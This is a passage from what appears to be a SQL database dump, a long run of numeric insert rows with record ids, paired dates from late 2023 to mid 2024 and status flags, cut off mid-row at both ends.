-12-14',1,'2',251,1),(10280,1674,14277,'2023-11-21','2023-12-14',1,'2',251,1),(10281,359,14276,'2023-11-21','2023-12-14',1,'2',251,1),(10282,359,14275,'2023-11-21','2023-12-14',1,'2',251,1),(10283,358,14274,'2023-11-21','2023-12-14',1,'2',251,1),(10284,358,14273,'2023-11-21','2023-12-14',1,'2',251,1),(10285,194,14307,'2023-11-21','2023-12-01',1,'2',45,1),(10286,1408,14309,'2023-11-22','2024-01-18',1,'2',86,1),(10287,194,14310,'2023-11-24','2023-12-01',1,'2',45,1),(10288,1788,14320,'2023-11-27',NULL,0,NULL,73,1),(10289,1406,14319,'2023-11-28','2023-12-01',1,NULL,971,1),(10290,1406,14295,'2023-12-01','2023-12-01',1,'2',971,1),(10291,1406,14294,'2023-12-01','2023-12-01',1,'2',971,1),(10292,1406,14293,'2023-12-01','2023-12-01',1,'2',971,1),(10293,1406,14292,'2023-12-01','2023-12-01',1,'2',971,1),(10294,1406,14291,'2023-12-01','2023-12-01',1,'2',971,1),(10295,1406,14290,'2023-12-01','2023-12-01',1,'2',971,1),(10296,1406,14289,'2023-12-01','2023-12-01',1,'2',971,1),(10297,1406,14288,'2023-12-01','2023-12-01',1,'2',971,1),(10298,1406,14287,'2023-12-01','2023-12-01',1,'2',971,1),(10299,1406,14286,'2023-12-01','2023-12-01',1,'2',971,1),(10300,1408,14334,'2023-12-01','2023-12-30',1,'2',86,1),(10301,193,14336,'2023-12-04','2023-12-04',1,'2',45,1),(10302,194,14335,'2023-12-04','2023-12-04',1,'2',45,1),(10303,1779,14331,'2023-12-04','2024-02-27',1,'2',975,1),(10304,1410,14330,'2023-12-04','2024-01-08',1,'2',975,1),(10305,1783,14329,'2023-12-04','2024-01-08',1,'2',975,1),(10306,1410,14327,'2023-12-04','2024-01-08',1,'2',975,1),(10307,1783,14326,'2023-12-04','2024-01-08',1,'2',975,1),(10308,1410,14328,'2023-12-04','2024-01-08',1,'2',975,1),(10309,1779,14325,'2023-12-04','2024-01-05',1,'2',975,1),(10310,1783,14324,'2023-12-04','2024-01-05',1,'2',975,1),(10311,1783,14323,'2023-12-04','2024-01-05',1,'2',975,1),(10312,1410,14322,'2023-12-04','2024-01-05',1,'2',975,1),(10313,1779,14321,'2023-12-04','2024-01-05',1,'2',975,1),(10314,191,14339,'2023-12-06','2023-12-26',0,'2',45,1),(10315,1788,14341,'2023-12-06','2023-12-23',1,'2',73,1),(10316,1788,14337,'2023-12-06','2024-03-13',0,'2',73,1),(10317,1011,14343,'2023-12-06','2024-01-03',1,'2',91,1),(10318,1012,14342,'2023-12-06','2024-01-03',1,'2',91,1),(10319,1781,14311,'2023-12-06','2024-01-03',1,'2',91,1),(10320,1705,14318,'2023-12-06','2024-01-03',1,'2',91,1),(10321,1245,14317,'2023-12-06','2024-01-03',1,'2',91,1),(10322,1452,14313,'2023-12-06','2024-01-03',1,'2',91,1),(10323,1452,14316,'2023-12-06','2024-01-03',1,'2',91,1),(10324,1011,14315,'2023-12-06','2024-01-03',1,'2',91,1),(10325,1452,14314,'2023-12-06','2024-01-03',1,'2',91,1),(10326,1781,14312,'2023-12-06','2024-01-03',1,'2',91,1),(10327,1068,14353,'2023-12-08','2024-01-02',1,'2',326,1),(10328,1069,14352,'2023-12-08','2024-01-02',1,'2',326,1),(10329,1070,14351,'2023-12-08','2024-01-02',1,'2',326,1),(10330,1067,14350,'2023-12-08','2024-01-02',1,'2',326,1),(10331,1791,14349,'2023-12-08','2024-01-02',1,'2',326,1),(10332,1068,14348,'2023-12-08','2024-01-02',1,'2',326,1),(10333,1069,14347,'2023-12-08','2024-01-02',1,'2',326,1),(10334,1067,14346,'2023-12-08','2024-01-02',1,'2',326,1),(10335,1791,14345,'2023-12-08','2024-01-02',1,'2',326,1),(10336,190,14359,'2023-12-13','2024-01-03',1,'2',45,1),(10337,191,14355,'2023-12-13','2023-12-29',0,'2',45,1),(10338,191,14358,'2023-12-13','2023-12-26',0,'2',45,1),(10339,191,14357,'2023-12-13','2023-12-29',0,'2',45,1),(10340,191,14356,'2023-12-13','2023-12-27',0,'2',45,1),(10341,191,13374,'2023-12-13',NULL,0,NULL,45,1),(10342,221,14332,'2023-12-14','2024-01-03',1,'2',85,1),(10343,221,14333,'2023-12-14','2024-01-03',1,'2',85,1),(10344,1069,14368,'2023-12-14','2024-01-02',1,'2',326,1),(10345,1406,14365,'2023-12-16','2024-02-24',0,'2',971,1),(10346,1406,14364,'2023-12-16','2024-02-24',0,'2',971,1),(10347,1406,14363,'2023-12-16','2024-02-24',0,'2',971,1),(10348,1406,14362,'2023-12-16','2024-02-24',0,'2',971,1),(10349,1406,14361,'2023-12-16','2024-02-24',0,'2',971,1),(10350,634,14378,'2023-12-16','2024-01-05',1,'2',639,1),(10351,1456,14340,'2023-12-18','2024-01-24',1,'2',667,1),(10352,633,14377,'2023-12-18','2024-01-05',1,'2',639,1),(10353,634,14376,'2023-12-18','2024-01-05',1,'2',639,1),(10354,1708,14375,'2023-12-18','2024-01-05',1,'2',639,1),(10355,633,14374,'2023-12-18','2024-01-05',1,'2',639,1),(10356,634,14373,'2023-12-18','2024-01-05',1,'2',639,1),(10357,1708,14372,'2023-12-18','2024-01-05',1,'2',639,1),(10358,633,14371,'2023-12-18','2024-01-05',1,'2',639,1),(10359,634,14369,'2023-12-18','2024-01-05',1,'2',639,1),(10360,1708,14370,'2023-12-18','2024-01-05',1,'2',639,1),(10361,1406,14380,'2023-12-19','2024-02-24',0,'2',971,1),(10362,1406,14379,'2023-12-19','2024-02-24',0,'2',971,1),(10363,191,0,'2023-12-19',NULL,0,NULL,45,1),(10364,188,0,'2023-12-19',NULL,0,NULL,45,1),(10365,195,0,'2023-12-19',NULL,0,NULL,45,1),(10366,1784,14367,'2023-12-19','2023-12-23',1,'2',959,1),(10367,1408,14381,'2023-12-27','2023-12-27',1,'2',86,1),(10368,194,14382,'2023-12-30','2024-01-03',1,'2',45,1),(10369,194,14385,'2023-12-30','2024-01-08',1,'2',45,1),(10370,194,14386,'2024-01-03','2024-01-20',1,'2',45,1),(10371,191,14401,'2024-01-04','2024-01-12',1,'2',45,1),(10372,194,14399,'2024-01-05','2024-01-22',1,'2',45,1),(10373,1788,14408,'2024-01-06',NULL,0,NULL,73,1),(10374,1792,14409,'2024-01-08','2024-01-31',1,'2',996,1),(10375,1750,14410,'2024-01-08','2024-01-31',1,'2',996,1),(10376,1795,14415,'2024-01-08','2024-01-31',1,'2',996,1),(10377,1750,14412,'2024-01-08','2024-01-31',1,'2',996,1),(10378,1794,14413,'2024-01-08','2024-01-31',1,'2',996,1),(10379,1749,14414,'2024-01-08','2024-01-31',1,'2',996,1),(10380,1793,14411,'2024-01-08','2024-01-31',1,'2',996,1),(10381,1749,14431,'2024-01-09','2024-01-31',1,'2',996,1),(10382,1793,14428,'2024-01-09','2024-01-31',1,'2',996,1),(10383,1792,14429,'2024-01-09','2024-01-31',1,'2',996,1),(10384,191,14423,'2024-01-09','2024-01-17',0,'2',45,1),(10385,191,14424,'2024-01-09','2024-01-17',0,'2',45,1),(10386,191,14425,'2024-01-09','2024-01-17',0,'2',45,1),(10387,191,14426,'2024-01-09','2024-01-17',0,'2',45,1),(10388,1674,14272,'2024-01-09','2024-01-22',1,'2',251,1),(10389,359,14271,'2024-01-09','2024-01-22',1,'2',251,1),(10390,1674,14270,'2024-01-09','2024-01-22',1,'2',251,1),(10391,357,14435,'2024-01-09','2024-01-22',1,'2',251,1),(10392,359,14436,'2024-01-09','2024-01-22',1,'2',251,1),(10393,359,14437,'2024-01-09','2024-01-22',1,'2',251,1),(10394,358,14438,'2024-01-09','2024-01-22',1,'2',251,1),(10395,1674,14439,'2024-01-09','2024-01-22',1,'2',251,1),(10396,357,14440,'2024-01-09','2024-04-10',1,'2',251,1),(10397,1674,14441,'2024-01-09','2024-04-10',1,'2',251,1),(10398,221,14457,'2024-01-10','2024-03-21',1,'2',85,1),(10399,221,14455,'2024-01-10','2024-01-30',1,'2',85,1),(10400,221,14454,'2024-01-10','2024-03-21',1,'2',85,1),(10401,221,14453,'2024-01-10','2024-01-30',1,'2',85,1),(10402,221,14452,'2024-01-10','2024-01-30',1,'2',85,1),(10403,222,14451,'2024-01-10','2024-01-30',1,'2',85,1),(10404,222,14450,'2024-01-10','2024-01-30',1,'2',85,1),(10405,222,14449,'2024-01-10','2024-01-30',1,'2',85,1),(10406,222,14447,'2024-01-10','2024-01-30',1,'2',85,1),(10407,222,14446,'2024-01-10','2024-01-30',1,'2',85,1),(10408,222,14445,'2024-01-10','2024-01-30',1,'2',85,1),(10409,1456,14463,'2024-01-10','2024-02-07',1,'2',667,1),(10410,1456,14462,'2024-01-10','2024-02-07',1,'2',667,1),(10411,1456,14461,'2024-01-10','2024-02-07',1,'2',667,1),(10412,1732,14460,'2024-01-10','2024-02-07',1,'2',667,1),(10413,1732,14459,'2024-01-10','2024-02-07',1,'2',667,1),(10414,1732,14458,'2024-01-10','2024-02-07',1,'2',667,1),(10415,1370,14456,'2024-01-10','2024-02-08',1,'2',667,1),(10416,1674,14444,'2024-01-10','2024-04-10',1,'2',251,1),(10417,357,14443,'2024-01-10','2024-01-22',1,'2',251,1),(10418,358,14442,'2024-01-10','2024-01-22',1,'2',251,1),(10419,1790,14478,'2024-01-10','2024-02-06',1,'2',981,1),(10420,1790,14477,'2024-01-10','2024-02-06',1,'2',981,1),(10421,1790,14474,'2024-01-10','2024-02-06',1,'2',981,1),(10422,1790,14473,'2024-01-10','2024-02-06',1,'2',981,1),(10423,1790,14471,'2024-01-10','2024-02-06',1,'2',981,1),(10424,1790,14468,'2024-01-10','2024-02-06',1,'2',981,1),(10425,1790,14467,'2024-01-10','2024-02-06',1,'2',981,1),(10426,1790,14466,'2024-01-10','2024-02-06',1,'2',981,1),(10427,1790,14465,'2024-01-10','2024-02-06',1,'2',981,1),(10428,1784,14434,'2024-01-11','2024-03-18',1,'2',959,1),(10429,1315,14433,'2024-01-11','2024-01-25',1,'2',959,1),(10430,1785,14430,'2024-01-25','2024-01-25',1,'2',959,1),(10431,1367,14432,'2024-01-11','2024-01-25',1,'2',959,1),(10432,1324,14427,'2024-01-25','2024-03-18',1,'2',959,1),(10433,1787,14422,'2024-01-11','2024-01-25',1,'2',959,1),(10434,1786,14421,'2024-01-11','2024-01-25',1,'2',959,1),(10435,1787,14420,'2024-01-11','2024-01-25',1,'2',959,1),(10436,1784,14419,'2024-01-11','2024-01-25',1,'2',959,1),(10437,1367,14418,'2024-01-11','2024-01-25',1,'2',959,1),(10438,1408,14464,'2024-01-11','2024-01-18',1,NULL,86,1),(10439,222,14417,'2024-01-11','2024-02-03',1,'2',85,1),(10440,1780,14400,'2024-01-11','2024-02-01',1,'2',971,1),(10441,1789,14407,'2024-01-12','2024-01-18',1,'2',277,1),(10442,1789,14405,'2024-01-12','2024-01-18',1,'2',277,1),(10443,1789,14404,'2024-01-12','2024-01-18',1,'2',277,1),(10444,1789,14403,'2024-01-12','2024-01-19',1,'2',277,1),(10445,1781,14494,'2024-01-17','2024-02-05',1,'2',91,1),(10446,1781,14493,'2024-01-17','2024-02-05',1,'2',91,1),(10447,1452,14492,'2024-01-17','2024-02-05',1,'2',91,1),(10448,1452,14491,'2024-01-17','2024-02-05',1,'2',91,1),(10449,1245,14490,'2024-01-17','2024-02-05',1,'2',91,1),(10450,1011,14489,'2024-01-17','2024-02-05',1,'2',91,1),(10451,1245,14488,'2024-01-17','2024-02-05',1,'2',91,1),(10452,1245,14487,'2024-01-17','2024-02-05',1,'2',91,1),(10453,1452,14484,'2024-01-17','2024-05-03',1,'2',91,1),(10454,1452,14486,'2024-01-17','2024-02-05',1,'2',91,1),(10455,1011,14485,'2024-01-17','2024-02-05',1,'2',91,1),(10456,1789,14495,'2024-01-17','2024-01-18',1,'2',277,1),(10457,1788,14498,'2024-01-18','2024-02-07',0,'2',73,1),(10458,1788,14528,'2024-01-24',NULL,0,NULL,73,1),(10459,1408,14522,'2024-01-24','2024-04-25',1,'2',86,1),(10460,194,14527,'2024-01-24','2024-01-24',1,'2',45,1),(10461,194,14526,'2024-01-24','2024-01-24',1,'2',45,1),(10462,194,14525,'2024-01-24','2024-01-24',1,'2',45,1),(10463,194,14523,'2024-01-24','2024-01-24',1,'2',45,1),(10464,1708,14512,'2024-01-24','2024-02-03',1,NULL,639,1),(10465,634,14511,'2024-01-24','2024-02-03',1,NULL,639,1),(10466,633,14510,'2024-01-24','2024-02-03',1,NULL,639,1),(10467,1708,14509,'2024-01-24','2024-02-03',1,'2',639,1),(10468,634,14508,'2024-01-24','2024-02-03',1,NULL,639,1),(10469,634,14507,'2024-01-24','2024-02-03',1,'2',639,1),(10470,1708,14506,'2024-01-24','2024-02-03',1,'2',639,1),(10471,634,14505,'2024-01-24','2024-02-03',1,'2',639,1),(10472,633,14504,'2024-01-24','2024-02-03',1,'2',639,1),(10473,1708,14503,'2024-01-24','2024-02-03',1,'2',639,1),(10474,634,14502,'2024-01-24','2024-02-03',1,'2',639,1),(10475,633,14501,'2024-01-24','2024-02-03',1,'2',639,1),(10476,1708,14500,'2024-01-24','2024-02-03',1,'2',639,1),(10477,634,14499,'2024-01-24','2024-02-03',1,'2',639,1),(10478,191,14529,'2024-01-24','2024-03-04',0,'2',45,1),(10479,1705,14354,'2024-01-31','2024-02-20',1,'2',91,1),(10480,1410,14469,'2024-02-01','2024-02-27',1,'2',975,1),(10481,1796,14470,'2024-02-01','2024-02-27',1,'2',975,1),(10482,1796,14472,'2024-02-01','2024-02-27',1,'2',975,1),(10483,1796,14475,'2024-02-01','2024-02-27',1,'2',975,1),(10484,1797,14476,'2024-02-01','2024-02-27',1,'2',975,1),(10485,1797,14479,'2024-02-01','2024-02-27',1,'2',975,1),(10486,1797,14480,'2024-02-01','2024-02-27',1,'2',975,1),(10487,1779,14481,'2024-02-01','2024-02-27',1,'2',975,1),(10488,1783,14482,'2024-02-01','2024-02-27',1,'2',975,1),(10489,1783,14483,'2024-02-01','2024-03-26',1,'2',975,1),(10490,1788,14546,'2024-02-02','2024-02-20',0,'2',73,1),(10491,1788,14496,'2024-02-02',NULL,0,NULL,73,1),(10492,1788,14547,'2024-02-02',NULL,0,NULL,73,1),(10493,192,14545,'2024-02-03','2024-03-14',1,'2',45,1),(10494,192,14521,'2024-02-05','2024-02-05',1,'2',45,1),(10495,1069,14558,'2024-02-07','2024-02-28',1,'2',326,1),(10496,1068,14557,'2024-02-07','2024-02-28',1,'2',326,1),(10497,1067,14556,'2024-02-07','2024-02-28',1,'2',326,1),(10498,1791,14554,'2024-02-07','2024-02-28',1,'2',326,1),(10499,1070,14553,'2024-02-07','2024-02-28',1,'2',326,1),(10500,1070,14552,'2024-02-07','2024-02-28',1,'2',326,1),(10501,1068,14551,'2024-02-07','2024-02-28',1,'2',326,1),(10502,1067,14550,'2024-02-07','2024-02-28',1,'2',326,1),(10503,1791,14549,'2024-02-07','2024-02-28',1,'2',326,1),(10504,1069,14548,'2024-02-07','2024-02-28',1,'2',326,1),(10505,194,14555,'2024-02-19','2024-03-14',0,'2',45,1),(10506,194,14544,'2024-02-09','2024-03-14',0,'2',45,1),(10507,1784,14398,'2024-02-12','2024-02-27',1,'2',959,1),(10508,1324,14391,'2024-02-12','2024-03-18',1,'2',959,1),(10509,1315,14389,'2024-02-12','2024-03-18',1,'2',959,1),(10510,193,14543,'2024-02-14','2024-03-14',0,'2',45,1),(10511,190,14542,'2024-02-14','2024-03-14',0,'2',45,1),(10512,195,14541,'2024-02-14','2024-03-14',0,'2',45,1),(10513,192,14540,'2024-02-14','2024-03-14',0,'2',45,1),(10514,1406,14559,'2024-02-15',NULL,0,NULL,971,1),(10515,1784,14580,'2024-02-16','2024-04-18',1,NULL,959,1),(10516,1315,14579,'2024-02-16','2024-03-18',1,'2',959,1),(10517,1786,14577,'2024-02-16','2024-03-18',1,'2',959,1),(10518,1785,14576,'2024-02-16','2024-03-18',1,'2',959,1),(10519,1784,14575,'2024-02-16','2024-03-18',1,'2',959,1),(10520,1786,14574,'2024-02-16','2024-03-18',1,'2',959,1),(10521,1787,14572,'2024-02-16','2024-03-18',1,'2',959,1),(10522,1367,14571,'2024-02-16','2024-03-18',1,'2',959,1),(10523,633,14570,'2024-02-16','2024-03-20',1,NULL,639,1),(10524,358,14600,'2024-03-05','2024-04-10',1,'2',251,1),(10525,1674,14599,'2024-03-05','2024-04-10',1,'2',251,1),(10526,357,14597,'2024-03-05','2024-04-10',1,'2',251,1),(10527,359,14595,'2024-03-05','2024-04-10',1,'2',251,1),(10528,1779,14602,'2024-03-05','2024-03-26',1,'2',975,1),(10529,1797,14603,'2024-03-05','2024-03-26',1,'2',975,1),(10530,1779,14604,'2024-03-05','2024-03-27',1,'2',975,1),(10531,1797,14605,'2024-03-05','2024-03-27',1,'2',975,1),(10532,1796,14609,'2024-03-05','2024-03-27',1,'2',975,1),(10533,1796,14610,'2024-03-05','2024-03-27',1,'2',975,1),(10534,189,14584,'2024-03-05','2024-03-23',0,'2',45,1),(10535,189,14583,'2024-03-05','2024-03-14',0,'2',45,1),(10536,189,14582,'2024-03-05','2024-03-14',0,'2',45,1),(10537,189,14581,'2024-03-05','2024-03-14',0,'2',45,1),(10538,222,14634,'2024-03-06','2024-03-21',1,'2',85,1),(10539,222,14633,'2024-03-06','2024-03-21',1,'2',85,1),(10540,222,14632,'2024-03-06','2024-03-21',1,'2',85,1),(10541,222,14631,'2024-03-06','2024-03-21',1,'2',85,1),(10542,222,14630,'2024-03-06','2024-03-21',1,'2',85,1),(10543,222,14629,'2024-03-06','2024-03-21',1,'2',85,1),(10544,222,14628,'2024-03-06','2024-03-21',1,'2',85,1),(10545,222,14627,'2024-03-06','2024-03-21',1,'2',85,1),(10546,1790,14644,'2024-03-06','2024-03-20',1,'2',981,1),(10547,1790,14643,'2024-03-06','2024-03-20',1,'2',981,1),(10548,1790,14642,'2024-03-06','2024-03-20',1,'2',981,1),(10549,359,14621,'2024-03-06','2024-04-10',1,'2',251,1),(10550,1790,14641,'2024-03-06','2024-03-20',1,'2',981,1),(10551,357,14618,'2024-03-06','2024-04-10',1,'2',251,1),(10552,1790,14640,'2024-03-06','2024-03-20',1,'2',981,1),(10553,1674,14616,'2024-03-06','2024-04-10',1,'2',251,1),(10554,1790,14639,'2024-03-06','2024-03-20',1,'2',981,1),(10555,1790,14638,'2024-03-06','2024-03-20',1,'2',981,1),(10556,1790,14637,'2024-03-06','2024-03-20',1,'2',981,1),(10557,1790,14636,'2024-03-06','2024-03-20',1,'2',981,1),(10558,1790,14635,'2024-03-06','2024-03-20',1,'2',981,1),(10559,1732,14654,'2024-03-07','2024-03-29',1,'2',667,1),(10560,1456,14653,'2024-03-07','2024-03-29',1,'2',667,1),(10561,1456,14652,'2024-03-07','2024-03-29',1,'2',667,1),(10562,1456,14651,'2024-03-07','2024-03-29',1,'2',667,1),(10563,1732,14650,'2024-03-07','2024-03-29',1,'2',667,1),(10564,1456,14649,'2024-03-07','2024-03-29',1,'2',667,1),(10565,1370,14647,'2024-03-07','2024-03-29',1,'2',667,1),(10566,1370,14648,'2024-03-07','2024-03-29',1,'2',667,1),(10567,1456,14646,'2024-03-07','2024-03-29',1,'2',667,1),(10568,1456,14645,'2024-03-07','2024-03-29',1,'2',667,1),(10569,1011,14626,'2024-03-07','2024-05-23',1,'2',91,1),(10570,1012,14625,'2024-03-07','2024-03-22',1,'2',91,1),(10571,1245,14624,'2024-03-07','2024-03-22',1,'2',91,1),(10572,1452,14623,'2024-03-07','2024-03-22',1,'2',91,1),(10573,1705,14622,'2024-03-07','2024-03-22',1,'2',91,1),(10574,1781,14620,'2024-03-07','2024-03-22',1,'2',91,1),(10575,1011,14619,'2024-03-07','2024-03-22',1,'2',91,1),(10576,1705,14615,'2024-03-07','2024-03-22',1,'2',91,1),(10577,1012,14617,'2024-03-07','2024-03-22',1,'2',91,1),(10578,194,14656,'2024-03-08','2024-03-12',1,NULL,45,1),(10579,1235,14585,'2024-03-12','2024-03-25',1,'2',277,1),(10580,1235,14594,'2024-03-12','2024-03-25',1,'2',277,1),(10581,1235,14586,'2024-03-12','2024-03-25',1,'2',277,1),(10582,1235,14593,'2024-03-12','2024-03-25',1,'2',277,1),(10583,1235,14592,'2024-03-12','2024-03-25',1,'2',277,1),(10584,1235,14591,'2024-03-12','2024-03-25',1,'2',277,1),(10585,1235,14590,'2024-03-12','2024-03-25',1,'2',277,1),(10586,1235,14589,'2024-03-12','2024-03-25',1,'2',277,1),(10587,1235,14588,'2024-03-12','2024-03-25',1,'2',277,1),(10588,1235,14587,'2024-03-12','2024-03-25',1,'2',277,1),(10589,194,14655,'2024-03-12','2024-04-29',0,'4',45,1),(10590,1796,14613,'2024-03-13','2024-03-27',1,'2',975,1),(10591,1779,14612,'2024-03-13','2024-03-27',1,'2',975,1),(10592,1797,14611,'2024-03-13','2024-03-27',1,'2',975,1),(10593,1788,14657,'2024-03-13',NULL,0,NULL,73,1),(10594,195,14658,'2024-03-14','2024-03-21',1,'2',45,1),(10595,195,14670,'2024-03-18','2024-03-18',1,NULL,45,1),(10596,195,14671,'2024-03-18','2024-03-22',1,'4',45,1),(10597,1795,14682,'2024-03-19','2024-04-10',1,'2',996,1),(10598,1802,14681,'2024-03-19','2024-04-10',1,'2',996,1),(10599,1801,14680,'2024-03-19','2024-04-10',1,'2',996,1),(10600,1800,14679,'2024-03-19','2024-04-10',1,'2',996,1),(10601,1798,14678,'2024-03-19','2024-04-10',1,'2',996,1),(10602,1799,14677,'2024-03-19','2024-04-10',1,'2',996,1),(10603,1798,14676,'2024-03-19','2024-04-10',1,'2',996,1),(10604,1793,14675,'2024-03-19','2024-04-10',1,'2',996,1),(10605,1795,14674,'2024-03-19','2024-04-10',1,'2',996,1),(10606,1793,14673,'2024-03-19','2024-04-10',1,'2',996,1),(10607,1012,14672,'2024-03-20','2024-05-03',1,'2',91,1),(10608,195,14683,'2024-03-20',NULL,0,NULL,45,1),(10609,191,14684,'2024-03-21','2024-03-27',1,'2',45,1),(10610,188,14693,'2024-03-22','2024-03-23',0,'2',45,1),(10611,188,14692,'2024-03-22','2024-03-23',0,'2',45,1),(10612,188,14691,'2024-03-22','2024-03-23',0,'2',45,1),(10613,188,14690,'2024-03-22','2024-03-23',0,'2',45,1),(10614,188,14689,'2024-03-22','2024-03-23',0,'2',45,1),(10615,188,14688,'2024-03-22','2024-03-23',0,'2',45,1),(10616,188,14687,'2024-03-22','2024-03-23',0,'2',45,1),(10617,188,14686,'2024-03-22','2024-03-23',0,'2',45,1),(10618,188,14685,'2024-03-22','2024-03-23',0,'2',45,1),(10619,195,14694,'2024-03-22',NULL,0,NULL,45,1),(10620,1708,14695,'2024-03-25',NULL,0,NULL,639,1),(10621,1787,14659,'2024-03-25','2024-04-18',1,'2',959,1),(10622,1784,14660,'2024-03-25','2024-04-18',1,'2',959,1),(10623,1786,14661,'2024-03-25','2024-04-18',1,'2',959,1),(10624,1787,14662,'2024-03-25','2024-04-18',1,'2',959,1),(10625,1785,14663,'2024-03-25','2024-04-18',1,'2',959,1),(10626,1784,14664,'2024-03-25','2024-04-18',1,'2',959,1),(10627,1784,14665,'2024-03-25','2024-04-18',1,'2',959,1),(10628,1786,14666,'2024-03-25','2024-04-18',1,'2',959,1),(10629,1786,14667,'2024-03-25','2024-04-18',1,'2',959,1),(10630,1786,14668,'2024-03-25','2024-04-18',1,'2',959,1),(10631,1806,14705,'2024-03-27','2024-04-10',1,'2',639,1),(10632,1805,14704,'2024-03-27','2024-04-10',1,'2',639,1),(10633,1804,14703,'2024-03-27','2024-04-10',1,'2',639,1),(10634,1803,14702,'2024-03-27','2024-04-10',1,'2',639,1),(10635,1803,14701,'2024-03-27','2024-04-10',1,'2',639,1),(10636,1805,14700,'2024-03-27','2024-04-10',1,'2',639,1),(10637,1806,14699,'2024-03-27','2024-04-10',1,'2',639,1),(10638,1803,14698,'2024-03-27','2024-04-10',1,'2',639,1),(10639,1804,14697,'2024-03-27','2024-04-10',1,'2',639,1),(10640,1805,14696,'2024-03-27','2024-04-10',1,'2',639,1),(10641,194,14709,'2024-03-30','2024-03-30',1,NULL,45,1),(10642,194,14708,'2024-03-30','2024-03-30',1,NULL,45,1),(10643,1788,14707,'2024-04-01',NULL,0,NULL,73,1),(10644,195,14706,'2024-04-01','2024-05-14',1,'2',45,1),(10645,194,14711,'2024-04-01','2024-04-11',1,'2',45,1),(10646,162,14712,'2024-04-02','2024-04-16',0,'2',73,1),(10647,1067,14722,'2024-04-02','2024-04-15',1,'2',326,1),(10648,1068,14721,'2024-04-02','2024-04-15',1,'2',326,1),(10649,1069,14720,'2024-04-02','2024-04-16',1,'2',326,1),(10650,1070,14719,'2024-04-02','2024-04-16',1,'2',326,1),(10651,1791,14718,'2024-04-02','2024-04-16',1,'2',326,1),(10652,1067,14717,'2024-04-02','2024-04-16',1,'2',326,1),(10653,1068,14716,'2024-04-02','2024-04-16',1,'2',326,1),(10654,1069,14715,'2024-04-02','2024-04-16',1,'2',326,1),(10655,1070,14714,'2024-04-02','2024-04-16',1,'2',326,1),(10656,1791,14713,'2024-04-02','2024-04-16',1,'2',326,1),(10657,194,14724,'2024-04-02','2024-04-04',1,NULL,45,1),(10658,358,14725,'2024-04-10','2024-04-10',1,'2',251,1),(10659,1789,14723,'2024-04-03',NULL,0,NULL,277,1),(10660,188,14733,'2024-04-03','2024-04-03',0,'2',45,1),(10661,188,14732,'2024-04-03','2024-04-03',0,'2',45,1),(10662,188,14731,'2024-04-03','2024-04-03',0,'2',45,1),(10663,188,14730,'2024-04-03','2024-04-03',0,'2',45,1),(10664,188,14729,'2024-04-03','2024-04-03',0,'2',45,1),(10665,188,14728,'2024-04-03','2024-04-03',0,'2',45,1),(10666,188,14727,'2024-04-03','2024-04-03',0,'2',45,1),(10667,188,14726,'2024-04-03','2024-04-03',0,'2',45,1),(10668,1406,14734,'2024-04-05',NULL,0,NULL,971,1),(10669,194,14736,'2024-04-11','2024-04-19',1,'2',45,1),(10670,1406,14737,'2024-04-12','2024-05-16',1,'2',971,1),(10671,1805,14740,'2024-04-12','2024-04-26',1,'2',639,1),(10672,1788,14738,'2024-04-12','2024-05-16',0,'2',73,1),(10673,193,14741,'2024-04-15','2024-05-29',1,'2',45,1),(10674,1788,14743,'2024-04-18',NULL,0,NULL,73,1),(10675,1406,14744,'2024-04-22',NULL,0,NULL,971,1),(10676,162,14746,'2024-04-22',NULL,0,NULL,73,1),(10677,222,14448,'2024-04-22',NULL,0,NULL,85,1),(10678,1787,14745,'2024-04-25','2024-05-08',1,NULL,959,1),(10679,1805,14748,'2024-04-25',NULL,0,NULL,639,1),(10680,1804,14747,'2024-04-26',NULL,0,NULL,639,1),(10681,192,14750,'2024-04-29','2024-05-10',1,'2',45,1),(10682,1786,14752,'2024-05-01','2024-05-01',1,'2',959,1),(10683,1790,14163,'2024-05-04',NULL,0,NULL,981,1),(10684,1790,14162,'2024-05-04',NULL,0,NULL,981,1),(10685,1790,14161,'2024-05-04',NULL,0,NULL,981,1),(10686,1790,14160,'2024-05-04',NULL,0,NULL,981,1),(10687,1790,14159,'2024-05-04',NULL,0,NULL,981,1),(10688,1790,14158,'2024-05-04',NULL,0,NULL,981,1),(10689,1790,14774,'2024-05-06','2024-05-25',1,'2',981,1),(10690,1790,14773,'2024-05-06','2024-05-25',1,'2',981,1),(10691,1790,14772,'2024-05-06','2024-05-25',1,'2',981,1),(10692,1790,14771,'2024-05-06','2024-05-25',1,'2',981,1),(10693,1790,14770,'2024-05-06','2024-05-25',1,'2',981,1),(10694,1790,14769,'2024-05-06','2024-05-25',1,'2',981,1),(10695,1790,14768,'2024-05-06','2024-05-25',1,'2',981,1),(10696,1790,14767,'2024-05-06','2024-05-25',1,'2',981,1),(10697,1790,14766,'2024-05-06','2024-05-25',1,'2',981,1),(10698,1790,14765,'2024-05-06','2024-05-25',1,'2',981,1),(10699,222,14763,'2024-05-06','2024-05-25',1,'2',85,1),(10700,222,14762,'2024-05-06','2024-05-25',1,'2',85,1),(10701,222,14761,'2024-05-06','2024-05-25',1,'2',85,1),(10702,222,14760,'2024-05-06','2024-05-25',1,'2',85,1),(10703,222,14759,'2024-05-06','2024-05-25',1,'2',85,1),(10704,222,14758,'2024-05-06','2024-05-25',1,'2',85,1),(10705,222,14757,'2024-05-06','2024-05-25',1,'2',85,1),(10706,222,14756,'2024-05-06','2024-05-25',1,'2',85,1),(10707,222,14755,'2024-05-06','2024-05-25',1,'2',85,1),(10708,222,14754,'2024-05-06','2024-05-25',1,'2',85,1),(10709,1804,14753,'2024-05-07',NULL,0,NULL,639,1),(10710,195,14788,'2024-05-07','2024-05-27',1,'2',45,1),(10711,195,14794,'2024-05-07','2024-05-28',1,'2',45,1),(10712,1807,14804,'2024-05-08','2024-05-29',1,'2',996,1),(10713,1808,14803,'2024-05-08','2024-05-29',1,'2',996,1),(10714,1802,14802,'2024-05-08','2024-05-29',1,'2',996,1),(10715,1801,14801,'2024-05-08','2024-05-29',1,'2',996,1),(10716,1800,14800,'2024-05-08','2024-05-29',1,'2',996,1),(10717,1807,14799,'2024-05-08','2024-05-29',1,'2',996,1),(10718,1674,14787,'2024-05-08','2024-05-27',1,'2',251,1),(10719,1808,14798,'2024-05-08','2024-05-29',1,'2',996,1),(10720,1793,14797,'2024-05-08','2024-05-29',1,'2',996,1),(10721,1802,14796,'2024-05-08','2024-05-29',1,'2',996,1),(10722,1807,14795,'2024-05-08','2024-05-29',1,'2',996,1),(10723,1674,14786,'2024-05-08','2024-05-27',1,'2',251,1),(10724,1674,14785,'2024-05-08','2024-05-27',1,'2',251,1),(10725,1674,14784,'2024-05-08','2024-05-27',1,'2',251,1),(10726,1674,14783,'2024-05-